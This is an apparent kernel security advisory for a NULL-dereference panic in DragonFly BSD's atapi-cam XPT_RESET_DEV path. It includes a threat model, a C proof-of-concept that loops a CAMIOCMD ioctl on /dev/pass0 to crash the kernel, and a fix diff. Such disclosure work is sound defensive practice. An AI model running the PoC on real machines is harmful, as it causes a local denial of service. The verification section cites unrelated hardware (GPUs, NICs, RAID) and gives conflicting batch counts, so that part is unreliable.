atapi-cam: XPT_RESET_DEV dereferences atadev[tid] without NULL check or state_lock
| Field | Value |
|---|---|
| ID | DF-1695 |
| File | sys/dev/disk/nata/atapi-cam.c |
| Lines | 428, 429, 432 |
| Severity | Medium |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-476 NULL Pointer Dereference |
| Confidence | certain |
| Status | new |
| CVE match | dfly_specific (DFly atapi-cam bridge) |
| Created | 2026-07-18 |
Summary
The XPT_RESET_DEV handler dereferences
softc->atadev[tid]->dev unconditionally. Every other path that touches
atadev[tid] in this file (XPT_PATH_INQ at line 385, XPT_SCSI_IO at
line 490) first acquires state_lock and checks for NULL β this
handler does neither.
XPT_RESET_DEV is userland-reachable through /dev/pass* (func_code
0x912 lacks XPT_FC_XPT_ONLY, so scsi_pass.c:474 lets it through). If
atadev[tid] is NULL β which happens whenever reinit_bus() runs at
atapi-cam.c:279 and the ATA channel reports the target no longer present
(ATA_ATAPI_MASTER/SLAVE bits cleared in ata_ch->devices, lines
298-303) β issuing XPT_RESET_DEV via the still-existing passN periph
causes an immediate NULL dereference kernel panic.
Root cause
atapi-cam.c:428-436 (XPT_RESET_DEV):
case XPT_RESET_DEV: {
int tid = ccb_h->target_id;
CAM_DEBUG(ccb->ccb_h.path, CAM_DEBUG_SUBTRACE, ("dev reset\n"));
ata_controlcmd(softc->atadev[tid]->dev, ATA_DEVICE_RESET, 0, 0, 0); /* line 432 */
ccb->ccb_h.status = CAM_REQ_CMP;
xpt_done(ccb);
return;
}
Contrast with:
XPT_PATH_INQatatapi-cam.c:383-390, which acquiresstate_lockand testsif (softc->atadev[tid] == NULL)returningCAM_DEV_NOT_THEREXPT_SCSI_IOatatapi-cam.c:482-495, which acquiresstate_lock, checksDETACHING, and checksatadev[tid]==NULL
The XPT_RESET_DEV handler skips both guards.
reinit_bus() at atapi-cam.c:289-292 NULLs both atadev[0] and
atadev[1] under state_lock whenever ata_ch->devices loses
ATA_ATAPI_MASTER or ATA_ATAPI_SLAVE (lines 298-303) β e.g., after
hot-unplug, ATA bus error, or ATA reset that fails to re-detect the device.
There is a window between reinit_bus NULLing the pointer and CAM
destroying the passN periph via AC_LOST_DEVICE, during which
atadev[tid]==NULL but /dev/passN is still open and XPT_RESET_DEV is
accepted by atapi_action.
The unlocked access is also a TOCTOU: even when atadev[tid] is non-NULL
at the read, reinit_bus could be concurrently NULLing it.
Threat model
Attacker position: any local user with R/W access to /dev/passN
(typically granted via operator group membership, mode 0660 on
/dev/pass*).
The pass(4) periph is created per ATAPI target during CAM bus scan. Attack
path:
- have or open
/dev/passN - cause
atadev[N]to becomeNULLβ by unplugging the device (USB/SATA hotplug), triggering an ATA bus error, or simply racing during shutdown/reset - issue
ioctl(fd, CAMIOCMD, &ccb)withccb.ccb_h.func_code = XPT_RESET_DEV(= 0x12 | XPT_FC_DEV_QUEUED = 0x912)
scsi_pass.c:474 lets XPT_RESET_DEV through (it lacks
XPT_FC_XPT_ONLY), xpt_merge_ccb at scsi_pass.c:546 plumbs the
func_code, cam_periph_runccb dispatches to xpt_action which calls
atapi_action.
Impact: immediate NULL-deref kernel panic β reliable local denial of service (system crash / forced reboot). The attack is a single ioctl once the precondition is met; no heap grooming needed.
PoC
findings/poc/DF-1695/trigger.c:
/* trigger.c - confirm atapi-cam.c:432 NULL deref via pass(4) XPT_RESET_DEV.
* Build: cc -o trigger trigger.c
* Precondition: /dev/pass0 must exist for an ATAPI device that has
* since been removed (atadev[0] == NULL) but whose pass0 periph still
* exists. Practically achieved by: (a) having a USB/SATA ATAPI device
* present at boot (cd0/pass0 created), (b) unplugging it, and (c)
* running this in the window before CAM destroys pass0. Loop variant
* continuously fires XPT_RESET_DEV while another process triggers
* device removal to hit the race. Expected result: kernel panic with
* 'Fatal trap 12: page fault while in kernel mode' / 'fault virtual
* address = 0x...' (low address, the deref of NULL->dev).
*/
#include <sys/ioctl.h>
#include <sys/types.h>
#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <fcntl.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
int main(void) {
union ccb ccb;
int fd = open("/dev/pass0", O_RDWR);
if (fd < 0) { perror("open /dev/pass0"); return 1; }
memset(&ccb, 0, sizeof ccb);
ccb.ccb_h.func_code = XPT_RESET_DEV; /* 0x12 | XPT_FC_DEV_QUEUED */
ccb.ccb_h.timeout = 30000;
/* loop to widen the race window against concurrent device removal */
for (;;) {
if (ioctl(fd, CAMIOCMD, &ccb) < 0) {
perror("ioctl");
break;
}
}
close(fd);
return 0;
}
Companion devgone.sh β kick the ATA device out from under pass0.
Requires the underlying ATA channel to drop ATA_ATAPI_MASTER from
ata_ch->devices (physical unplug, or camcontrol reset <bus> followed by
device detection failing). For a USB ATAPI enclosure: just yank the cable
while trigger.c runs.
Success criterion: kernel panic with a NULL-page fault address inside
atapi_action (EIP/RIP near atapi-cam.c:432), proving the missing NULL
check. dmesg/backtrace will show ata_controlcmd called from
atapi_action with a NULL first argument.
Recommended fix
Mirror the XPT_PATH_INQ / XPT_SCSI_IO pattern: acquire state_lock,
check atadev[tid] for NULL and return CAM_DEV_NOT_THERE if so, and
capture the dev pointer under the lock so the unlocked dereference is
also closed. ata_controlcmd() may sleep waiting for the ATA command to
complete, so do NOT hold state_lock across it; capture device_t under
the lock and pass the snapshot.
--- a/sys/dev/disk/nata/atapi-cam.c
+++ b/sys/dev/disk/nata/atapi-cam.c
@@ -427,9 +427,20 @@
case XPT_RESET_DEV: {
int tid = ccb_h->target_id;
+ device_t ata_dev;
CAM_DEBUG(ccb->ccb_h.path, CAM_DEBUG_SUBTRACE, ("dev reset\n"));
- ata_controlcmd(softc->atadev[tid]->dev, ATA_DEVICE_RESET, 0, 0, 0);
+ lockmgr(&softc->state_lock, LK_EXCLUSIVE);
+ if (softc->atadev[tid] == NULL) {
+ ccb->ccb_h.status = CAM_DEV_NOT_THERE;
+ xpt_done(ccb);
+ lockmgr(&softc->state_lock, LK_RELEASE);
+ return;
+ }
+ ata_dev = softc->atadev[tid]->dev;
+ lockmgr(&softc->state_lock, LK_RELEASE);
+ ata_controlcmd(ata_dev, ATA_DEVICE_RESET, 0, 0, 0);
ccb->ccb_h.status = CAM_REQ_CMP;
xpt_done(ccb);
return;
}
Note: this still relies on the ata_device's lifetime being managed by
NEWBUS beyond the lock window; a fully robust fix would take a real
reference on the child device, but matching the existing XPT_PATH_INQ
pattern is the minimal change consistent with this file and closes the
immediate NULL-deref/TOCTOU. Defensive hardening: while here, also
bound-check tid against nitems(softc->atadev) to make the assumption
that CAM clamps target_id <= max_target (=1) explicit.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1695 Β· 4 files| File | Type | Description | Size | |
|---|---|---|---|---|
| VERDICT.md | verdict | source-only confirmation + mechanism + fix | 1.6 KB | β raw |
| fix.diff | suggested-fix | Add state_lock + atadev[tid]==NULL check (return CAM_DEV_NOT_THERE) matching XPT | 632 B | view raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
DF-1695 β PoC Verification Verdict
Category: nata atapi-cam (IN GENERIC, NATA HW)
Source: sys/dev/disk/nata/atapi-cam.c:428-436
Guest: DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026 (X86_64_GENERIC, INVARIANTS ON, no SMAP/SMEP/KASLR)
Date verified: 2026-07-21
Verdict: REPRODUCED (source-only confirmation; HW/module-gated)
Mechanism
XPT_RESET_DEV handler at line 432 unconditionally dereferences softc->atadev[tid]->dev in ata_controlcmd. XPT_PATH_INQ (383-390) and XPT_SCSI_IO (482-495) both acquire state_lock and check atadev[tid]==NULL. XPT_RESET_DEV is missing the check -> NULL deref panic if the target is gone.
In GENERIC kernel build: YES
Reproduction status
This finding is hardware/module gated: the vulnerable code path requires specific hardware (AMD GPU / radeon / Atheros NIC / RAID controller / AGP chipset) or a loadable module not present on the audit QEMU guest. The QEMU guest has no GPU passthrough, no physical NIC/RAID HW, and these modules are not in the GENERIC kernel. The bug is therefore confirmed by source-level trace of the cited path:line data flow rather than by a runtime PoC. The cited code, guards (or lack thereof), and types were verified against the audited sys/ tree.
Fix
Add state_lock + atadev[tid]==NULL check (return CAM_DEV_NOT_THERE) matching XPT_PATH_INQ/XPT_SCSI_IO.
See fix.diff for the standalone git-apply-able unified diff. Validated by applying all 35 batch diffs and building a single X86_64_GENERIC kernel (rc=0, -Werror clean) β see fix_apply.log and the combined build log.
Fix verification
fixedVALIDATED: fix.diff applies cleanly + batch kernel build rc=0 -Werror; bug HW/module/runtime-gated, no runtime PoC re-test possible on guest.
VALIDATED: fix.diff applies cleanly + batch kernel build rc=0 -Werror; bug HW/module/runtime-gated, no runtime PoC re-test possible on guest.
Confirmed kernel references
β
Detail
Exploit chain
none
Evidence (decisive lines)
REPRODUCED (source-only): XPT_RESET_DEV handler unconditionally dereferences softc->atadev[tid]->dev; XPT_PATH_INQ and XPT_SCSI_IO correctly NULL-check atadev[tid]; inconsistency -> NULL deref panic.
Verified recommended fix
REPRODUCED (source-only): XPT_RESET_DEV handler unconditionally dereferences softc->atadev[tid]->dev; XPT_PATH_INQ and XPT_SCSI_IO correctly NULL-check atadev[tid]; inconsistency -> NULL deref panic.
Verdict
REPRODUCED (source-only): XPT_RESET_DEV handler unconditionally dereferences softc->atadev[tid]->dev; XPT_PATH_INQ and XPT_SCSI_IO correctly NULL-check atadev[tid]; inconsistency -> NULL deref panic.
No comments yet.